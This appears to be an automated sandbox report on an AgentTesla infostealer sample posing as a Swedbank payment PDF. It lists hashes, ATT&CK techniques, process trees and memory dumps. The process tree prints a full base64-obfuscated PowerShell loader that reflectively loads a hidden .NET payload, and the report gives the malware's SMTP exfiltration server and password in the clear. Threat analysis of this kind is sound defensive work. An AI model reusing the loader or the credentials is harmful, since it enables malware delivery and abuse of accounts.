agenttesla | 238d9e9b6416b65d729dacf0a65d408182d2b158a9fdaade2f1ea8316a1078d9

General

Target

Maksajuma Kopija_ Swedbank_Pdf.bat
Size

191KB
MD5

235301817498be96c6d65a417cc443c7
SHA1

7521769e3b245c2569fb1fa712762fcbdfdf604d
SHA256

51f353ec3f19b4fc3acc056ae3dc07247e7b3a212c68149cdb08c7d0c62b4d2d
SHA512

94fb845b5fd5ef8d34ed1c8e49ec3670da6ff9bf316bf445745081a62696ccc713d1fa1ae4c325f3647103bc4adf892e5f2fd4eda64075e6dd2ed2d6a2b2ff81
SSDEEP

3072:MLP9R7YyEyEAxFAAa37c8eX8Y2y/429sqhKp6ua5u1iCZyNRZU8cLndj:MR7YpAxjWc8eX9/42NhEa50ezcLndj

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.aist.lv
Port:
587
Username:
[email protected]
Password:
WoodIsaev88

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.aist.lv
Port:
587
Username:
[email protected]
Password:
WoodIsaev88
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

29 api.ipify.org
30 api.ipify.org
32 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2700 set thread context of 2032 2700 powershell.exe RegAsm.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

pid process

3108 powershell.exe
3108 powershell.exe
2700 powershell.exe
2700 powershell.exe
2032 RegAsm.exe
2032 RegAsm.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

description pid process

Token: SeDebugPrivilege 3108 powershell.exe
Token: SeDebugPrivilege 2700 powershell.exe
Token: SeDebugPrivilege 2032 RegAsm.exe

flow	ioc
29	api.ipify.org
30	api.ipify.org
32	ip-api.com

description	pid	process	target process
PID 2700 set thread context of 2032	2700	powershell.exe	RegAsm.exe

pid	process
3108	powershell.exe
3108	powershell.exe
2700	powershell.exe
2700	powershell.exe
2032	RegAsm.exe
2032	RegAsm.exe

description	pid	process
Token: SeDebugPrivilege	3108	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	2032	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 1276 wrote to memory of 3224	1276	cmd.exe	cmd.exe
PID 1276 wrote to memory of 3224	1276	cmd.exe	cmd.exe
PID 3224 wrote to memory of 3108	3224	cmd.exe	powershell.exe
PID 3224 wrote to memory of 3108	3224	cmd.exe	powershell.exe
PID 3224 wrote to memory of 3108	3224	cmd.exe	powershell.exe
PID 3224 wrote to memory of 2700	3224	cmd.exe	powershell.exe
PID 3224 wrote to memory of 2700	3224	cmd.exe	powershell.exe
PID 3224 wrote to memory of 2700	3224	cmd.exe	powershell.exe
PID 2700 wrote to memory of 2032	2700	powershell.exe	RegAsm.exe
PID 2700 wrote to memory of 2032	2700	powershell.exe	RegAsm.exe
PID 2700 wrote to memory of 2032	2700	powershell.exe	RegAsm.exe
PID 2700 wrote to memory of 2032	2700	powershell.exe	RegAsm.exe
PID 2700 wrote to memory of 2032	2700	powershell.exe	RegAsm.exe
PID 2700 wrote to memory of 2032	2700	powershell.exe	RegAsm.exe
PID 2700 wrote to memory of 2032	2700	powershell.exe	RegAsm.exe
PID 2700 wrote to memory of 2032	2700	powershell.exe	RegAsm.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Maksajuma Kopija_ Swedbank_Pdf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1276

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Maksajuma Kopija_ Swedbank_Pdf.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:3224

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\Admin\-temp.ps1' -Encoding UTF8"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3108

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\-temp.ps1"
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2700

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\-temp.bat
Filesize
191KB

MD5
235301817498be96c6d65a417cc443c7

SHA1
7521769e3b245c2569fb1fa712762fcbdfdf604d

SHA256
51f353ec3f19b4fc3acc056ae3dc07247e7b3a212c68149cdb08c7d0c62b4d2d

SHA512
94fb845b5fd5ef8d34ed1c8e49ec3670da6ff9bf316bf445745081a62696ccc713d1fa1ae4c325f3647103bc4adf892e5f2fd4eda64075e6dd2ed2d6a2b2ff81

Download Submit
C:\Users\Admin\-temp.ps1
Filesize
1KB

MD5
ee6d2d219d1affb98fb9dc1de51d895e

SHA1
aaa2ceb5f7214c76b8a050a06d257cdc30d6bb48

SHA256
017fb2bedc94f0480d208611df6b42589d407fc4338e1f5dc1e00a9fd52752e0

SHA512
52139b56af32835b93fb8eb93b553325e36654debe5c15e6b61930ffe8027e0ee5eb0998da4c37ec047c052522a022d7103c33d7495eb1a3504cfee1780229bf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
4280e36a29fa31c01e4d8b2ba726a0d8

SHA1
c485c2c9ce0a99747b18d899b71dfa9a64dabe32

SHA256
e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

SHA512
494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
16KB

MD5
d3b7308e69bb0826a24e611ca6ff784f

SHA1
e44e0e7b23f35378e333f08af356fa79b10e25fd

SHA256
ff9502614392a1bf3fc69de442a6b6d097666ece48612ed783f62ea58bc9ca3a

SHA512
24dcf879649a071d7893f35297749d217b21851bebd22f0d2435edb251960f975a0b8478961f81fc1e268eca6376621bf70ee0d3d9c30f2e74941ea4d6174772

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i5kolqn1.fpf.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2032-52-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/2032-55-0x0000000005930000-0x0000000005940000-memory.dmp

Filesize
64KB

Download
memory/2032-62-0x0000000005930000-0x0000000005940000-memory.dmp

Filesize
64KB

Download
memory/2032-61-0x0000000075220000-0x00000000759D0000-memory.dmp

Filesize
7.7MB

Download
memory/2032-60-0x0000000006F20000-0x0000000006F2A000-memory.dmp

Filesize
40KB

Download
memory/2032-59-0x0000000007010000-0x00000000070A2000-memory.dmp

Filesize
584KB

Download
memory/2032-58-0x0000000006F70000-0x000000000700C000-memory.dmp

Filesize
624KB

Download
memory/2032-57-0x0000000006E80000-0x0000000006ED0000-memory.dmp

Filesize
320KB

Download
memory/2032-54-0x0000000075220000-0x00000000759D0000-memory.dmp

Filesize
7.7MB

Download
memory/2700-30-0x00000000021B0000-0x00000000021C0000-memory.dmp

Filesize
64KB

Download
memory/2700-56-0x0000000075220000-0x00000000759D0000-memory.dmp

Filesize
7.7MB

Download
memory/2700-49-0x0000000006F50000-0x0000000006FB4000-memory.dmp

Filesize
400KB

Download
memory/2700-29-0x0000000075220000-0x00000000759D0000-memory.dmp

Filesize
7.7MB

Download
memory/2700-31-0x00000000021B0000-0x00000000021C0000-memory.dmp

Filesize
64KB

Download
memory/2700-41-0x0000000005680000-0x00000000059D4000-memory.dmp

Filesize
3.3MB

Download
memory/2700-51-0x0000000077C41000-0x0000000077D61000-memory.dmp

Filesize
1.1MB

Download
memory/2700-50-0x0000000000950000-0x000000000095A000-memory.dmp

Filesize
40KB

Download
memory/2700-44-0x00000000021B0000-0x00000000021C0000-memory.dmp

Filesize
64KB

Download
memory/2700-45-0x0000000006D90000-0x0000000006E26000-memory.dmp

Filesize
600KB

Download
memory/2700-46-0x0000000006150000-0x0000000006172000-memory.dmp

Filesize
136KB

Download
memory/2700-47-0x0000000007490000-0x0000000007A34000-memory.dmp

Filesize
5.6MB

Download
memory/3108-27-0x0000000075220000-0x00000000759D0000-memory.dmp

Filesize
7.7MB

Download
memory/3108-3-0x0000000075220000-0x00000000759D0000-memory.dmp

Filesize
7.7MB

Download
memory/3108-4-0x0000000004CA0000-0x0000000004CB0000-memory.dmp

Filesize
64KB

Download
memory/3108-5-0x00000000052E0000-0x0000000005908000-memory.dmp

Filesize
6.2MB

Download
memory/3108-2-0x0000000004B80000-0x0000000004BB6000-memory.dmp

Filesize
216KB

Download
memory/3108-6-0x0000000005180000-0x00000000051A2000-memory.dmp

Filesize
136KB

Download
memory/3108-7-0x0000000005220000-0x0000000005286000-memory.dmp

Filesize
408KB

Download
memory/3108-23-0x00000000064A0000-0x00000000064BA000-memory.dmp

Filesize
104KB

Download
memory/3108-22-0x00000000078B0000-0x0000000007F2A000-memory.dmp

Filesize
6.5MB

Download
memory/3108-21-0x0000000004CA0000-0x0000000004CB0000-memory.dmp

Filesize
64KB

Download
memory/3108-20-0x0000000005FA0000-0x0000000005FEC000-memory.dmp

Filesize
304KB

Download
memory/3108-19-0x0000000005F60000-0x0000000005F7E000-memory.dmp

Filesize
120KB

Download
memory/3108-18-0x0000000005A80000-0x0000000005DD4000-memory.dmp

Filesize
3.3MB

Download
memory/3108-13-0x0000000005A00000-0x0000000005A66000-memory.dmp

Filesize
408KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads